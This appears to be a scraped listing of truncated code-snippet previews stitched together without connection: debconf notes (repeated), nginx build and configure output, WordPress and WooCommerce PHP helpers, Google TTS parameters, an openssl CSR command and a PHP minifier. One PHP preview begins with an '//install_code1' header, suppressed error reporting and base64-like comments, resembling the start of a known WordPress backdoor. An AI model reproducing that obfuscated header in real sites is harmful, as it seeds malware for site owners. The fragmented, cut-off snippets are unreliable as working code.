for unattended installations
Ansible module: http://docs.ansible.com/ansible/debconf_module.html
query the debconf database
$ debconf-show postfix
| <?php | |
| //install_code1 | |
| error_reporting(0); | |
| ini_set('display_errors', 0); | |
| //dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW | |
| DEFINE('MAX_LEVEL', 2); | |
| //bGF5X2Vycm9ycycsIDApOwovLzJoa | |
| DEFINE('MAX_ITERATION', 50); | |
| //NuYm1WM1pHOXRZV2x1SjEwcEt |
| ### No longer needed as of nginx-1.13.6-1.el7_4.ngx.x86_64.rpm from nginx.org | |
| ### it was compiled against OpenSSL 1.0.2 from CentoOS 7.4 so it supports ALPN (HTTP2 works) | |
| yum -y groupinstall 'Development Tools' | |
| yum -y install wget openssl-devel libxml2-devel libxslt-devel gd-devel perl-ExtUtils-Embed GeoIP-devel rpmdevtools | |
| OPENSSL="openssl-1.0.2l" | |
| NGINX_VERSION="1.13.5-1" | |
| NJS_VERSION="1.13.5.0.1.13-1" |
| qichunren@qichunren-desktop:/opt/nginx-1.0.6$ ./configure --help | |
| --help this message | |
| --prefix=PATH set the installation prefix | |
| --sbin-path=PATH set path to the nginx binary file | |
| --conf-path=PATH set path to the nginx.conf file | |
| --error-log-path=PATH set path to the error log | |
| --pid-path=PATH set path to nginx.pid file | |
| --lock-path=PATH set path to nginx.lock file |
| <?php | |
| /** | |
| * gets the current post type in the WordPress Admin | |
| */ | |
| function get_current_post_type() { | |
| global $post, $typenow, $current_screen; | |
| //we have a post so we can just get the post type from that | |
| if ( $post && $post->post_type ) { | |
| return $post->post_type; |
| <?php | |
| /* | |
| Plugin Name: Conditionally send WooCommerce emails | |
| Plugin URI: https://www.damiencarbery.com/2018/12/conditionally-disable-woocommerce-emails/ | |
| Description: Dynamically determine whether to send a WooCommerce email. | |
| Author: Damien Carbery | |
| Version: 0.2 | |
| */ | |
| // The filter name is 'woocommerce_email_enabled_'.WC_Email::id e.g. 'new_order', 'cancelled_order' etc |
for unattended installations
Ansible module: http://docs.ansible.com/ansible/debconf_module.html
query the debconf database
$ debconf-show postfix
Base URL: http://translate.google.com/translate_tts
It converts written words into audio. It accepts GET requests.
q
The query string to convert to audio
tl
Translation language, for example, ar for Arabic, or en-us for English
These are the steps I went through to set up an SSL cert. Purchase the cert
Prior to purchasing a cert, you need to generate a private key, and a CSR file (Certificate Signing Request). You’ll be asked for the content of the CSR file when ordering the certificate:
openssl req -new -newkey rsa:2048 -nodes -keyout example_com.key -out example_com.csr
| <?php | |
| // Based on <https://github.com/mecha-cms/x.minify> | |
| namespace x\minify\_ { // start namespace | |
| $n = __NAMESPACE__; | |
| \define($n . "\\token_boolean", '\b(?:true|false)\b'); | |
| \define($n . "\\token_number", '-?(?:(?:\d+)?\.)?\d+'); |